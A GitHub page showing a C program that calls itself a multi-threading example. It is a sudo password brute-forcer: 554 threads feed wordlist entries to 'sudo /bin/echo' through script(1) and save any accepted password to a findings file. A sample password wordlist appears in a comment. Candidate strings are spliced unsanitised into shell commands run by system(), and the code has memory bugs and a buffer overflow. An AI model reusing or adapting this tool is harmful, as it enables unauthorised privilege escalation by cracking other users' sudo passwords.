-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathloadFthreads.c
193 lines (167 loc) · 4.09 KB
/
loadFthreads.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
/*
*
*
* this is just an example of multi-threading
* calling of a shell script from a c program
*
*
*
* compilation:
* rm th; gcc -Wall -O2 -Wextra -o th loadFthreads.c -lrt -lpthread -fsanitize=undefined ; ./th
*
*
*
* sergio rivera 2019
*
*
*/
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <dirent.h>
#include <signal.h>
char t1[] = { "sh -c \"echo " };
char t2[256];
/* if we can sudo echo with this string then, we can save it! */
char t3[] = {"\" | script -qc \"sudo /bin/echo $x >> ull\" | tail -n +2 > /dev/null" }; // ./ull is the file tha contains the findings
char pass[] = { " " };
int g = 0;
/* perform_work function args struct */
typedef struct {
char arg_1[20];
} arg_struct;
/* counter fo threads */
int count = 0;
/* every thread checks for a new string */
void *perform_work(void *argument) {
arg_struct *actual_args = argument;
char *t = malloc(strlen(t1) + strlen(t2) + strlen(t3) + 10000);
char *t4 = malloc(strlen(t2) + 10000);
strcpy(t4, "x=");
strcat(t4, actual_args->arg_1);
strcat(t4, " ; ");
strcpy(t, t4);
strcat(t, t1);
strcat(t, "$x");
strcat(t, t3);
system(t);
++count;
printf("t: %s", t);
printf(", Thread number = %d \n", count);
return NULL;
}
int doJobs(char * dict, int firstLine, int lastLine, int NconThr) {
int lines_allocated = 1280000;
int max_line_len = 100000;
/* allocate lines of text */
char **words = (char **) malloc(sizeof(char*) * lines_allocated);
if (words == NULL) {
fprintf(stderr, "Out of memory (1).\n");
exit(1);
}
FILE *fp = fopen(dict, "r");
if (fp == NULL) {
fprintf(stderr, "Error opening file.\n");
exit(2);
}
int i = 0;
int kk = 0;
while (firstLine > 0 ?
((fgets(words, max_line_len - 1, fp) != NULL) & (kk++ < firstLine)) :
(1 == 0)) {
;
}
for (i = 0; 1; i++) {
int j;
/* have we gone over our line allocation? */
if (i >= lines_allocated) {
int new_size;
/* Double our allocation and re-allocate */
new_size = lines_allocated * 2;
words = (char **) realloc(words, sizeof(char*) * new_size);
if (words == NULL) {
fprintf(stderr, "Out of memory.\n");
exit(3);
}
lines_allocated = new_size;
}
/* allocate space for the next line */
words[i] = malloc(max_line_len);
if (words[i] == NULL) {
fprintf(stderr, "Out of memory (3).\n");
exit(4);
}
if (fgets(words[i], max_line_len - 1, fp) == NULL)
break;
/* get rid of CR or LF at end of line */
for (j = strlen(words[i]) - 1;
j >= 0 && (words[i][j] == '\n' || words[i][j] == '\r'); j--)
;
words[i][j + 1] = '\0';
if (i >= lastLine)
break;
}
/* close file */
fclose(fp);
pthread_t threads[NconThr];
int result_code, index;
int *ptr[NconThr];
index = 0;
int k = 0;
while (index + k - NconThr < i) {
for (index = 0; index < NconThr; ++index) {
if (index + k < i) {
arg_struct *args = malloc(sizeof(arg_struct) * NconThr + 1);
strcpy(args[index].arg_1, words[index + k]);
result_code = pthread_create(&threads[index],
NULL, perform_work, (void *) &args[index]);
assert(0 == result_code);
}
}
/* wait for each thread to complete */
for (index = 0; index < NconThr; ++index) {
if (index + k < i) {
// block until thread 'index' completes
result_code = pthread_join(threads[index],
(void**) &(ptr[index]));
assert(0 == result_code);
}
}
printf("------------------ i: %d , NconThr: %d , k: %d , index: %d\n",
i, NconThr, k, index);
printf("In main: All threads completed successfully\n");
k += NconThr;
}
for (; i >= 0; i--)
free(words[i]);
free(words);
return 0;
}
/* main function */
int main(void) {
int NThreads = 554; // parallel threads
int NPwd = NThreads * 10; // batch of jobs - words to read from file each time
int i = 0;
/*
$ cat myFileWithAWordPerLine
...
arazano
araza15
arazadi
arazark
arazal1
araza09
arazona
arazo15
...
*/
while (i < 500) {
doJobs("myFileWithAWordPerLine", NPwd * i, NPwd, NThreads);
i++;
}
}